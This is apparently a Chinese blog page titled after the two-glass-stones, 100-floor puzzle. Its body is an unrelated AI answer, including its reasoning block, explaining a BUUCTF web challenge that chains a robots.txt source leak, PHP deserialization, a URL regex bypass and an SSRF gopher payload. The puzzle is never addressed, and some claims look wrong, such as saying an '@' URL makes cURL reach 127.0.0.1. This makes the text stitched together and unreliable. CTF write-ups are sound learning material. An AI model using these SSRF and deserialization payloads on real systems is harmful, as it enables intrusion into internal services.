一道有意思的题目

探讨在一栋100层的大厦中,如何使用两个相同的玻璃围棋子找出从哪一层开始投掷会摔碎的最佳策略。这是一个经典的数学谜题。
有一幢100层高的大厦,给你两个完全相同的玻璃围棋子。假设从某一层开始,丢下玻璃棋子就会摔碎。那么怎么利用手中的两颗棋子,用一种什么样的最优策略,知道这个临界的层高呢?
<think>嗯,用户想查找BUUCTF平台上的一道有趣题目的解题思路(wp)。这个问题需要结合用户提供的多个引用内容来回答,这些引用涵盖了Misc、RE、Crypto、Web等多个方向的题目解法片段。 首先注意到用户特别强调了"有趣"这个关键词。根据提供的引用内容,几个题目类型都挺有意思的:引用1提到Brainfuck和Ook语言加解密,引用2是迷宫题,引用5是个简单的栈溢出题。其中引用3的robots协议泄露源码题目比较特殊,涉及PHP反序列化和SSRF漏洞利用,解题过程包含较多安全知识点,而且包含了源码分析、正则绕过、SSRF利用等层层递进的技巧。 准备从引用3的robots题目入手。引用3详细提供了源码内容,需要完整分析漏洞点:UserInfo类构造函数有参数注入风险;isValidBlog()方法使用正则校验URL格式,但容易被绕过;get()方法存在SSRF漏洞。解题思路可以分四步:访问robots.txt获取备份文件→分析源码→构造POP链→绕过URL验证读取flag。 还考虑在回答中补充两个相关问题:一个是关于正则绕过的变体思考,另一个是SSRF防御措施。这样既能满足用户获取解题思路的需求,又能延伸相关知识点。 最后检查引用标记的使用。在提到robots泄露时会引用[^3],在设计POP链利用SSRF时也会引用该源码内容。这样既保持了回答专业性,又确保所有引用来源都有明确标注。 </think>以下是BUUCTF中一道**设计巧妙且综合性较强**的题目(基于引用[3]的Web类题目)的完整解题思路: --- ### 题目:robots协议与PHP反序列化(Web类) #### 解题思路 **1. 发现源码泄露** 访问网站根目录下的 `robots.txt`,发现提示文件: ```http User-agent: * Disallow: /user.php.bak ``` 下载 `user.php.bak` 获取源码(引用[3])。 **2. 分析源码漏洞** 关键代码: ```php class UserInfo { public $name, $age, $blog; // ... public function getBlogContents() { return $this->get($this->blog); // 触发SSRF } public function isValidBlog() { return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $this->blog); } } ``` - **漏洞点1**:`isValidBlog()` 正则过滤可绕过(如 `http://127.0.0.1:80@evil.com` 会被解析为访问127.0.0.1)。 - **漏洞点2**:`getBlogContents()` 方法通过cURL发起请求,存在**SSRF(服务端请求伪造)**。 **3. 构造POP链利用反序列化** 目标:通过反序列化控制 `$blog` 属性,利用SSRF读取内网flag。 - 触发点:搜索源码中 `unserialize()` 的调用位置(题目通常通过Cookie、POST参数传入序列化数据)。 - 构造Payload: ```php <?php class UserInfo { public $blog = "gopher://127.0.0.1:80/_GET%20/flag.txt%20HTTP/1.1%0D%0AHost:%20127.0.0.1%0D%0A%0D%0A"; } echo serialize(new UserInfo); // 输出:O:8:"UserInfo":1:{s:4:"blog";s:58:"gopher://...";} ``` **4. 绕过URL正则校验** - 利用 `@` 符号混淆域名解析: `$blog = "http://127.0.0.1:80@example.com";` 正则校验通过,但cURL实际访问 `127.0.0.1:80`。 - 使用 `0://` 协议绕过(需环境支持): `$blog = "0://127.0.0.1:80/flag";` **5. 获取Flag** 将生成的序列化字符串提交至服务端(如通过Cookie),触发SSRF访问内网 `flag.txt`,响应中包含Flag。 --- ### 🔍 为什么此题有趣? 1. **多层知识点融合**: - robots协议 → 源码泄露 → 反序列化 → 正则绕过 → SSRF → 内网渗透 2. **经典漏洞组合**: 反序列化+SSRF是CTF Web题的常见套路,但结合URL解析特性设计绕过增加了挑战性。 3. **贴近实战**: 类似漏洞曾出现在真实CMS中(如Typecho反序列化漏洞CVE-2018-18753)。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值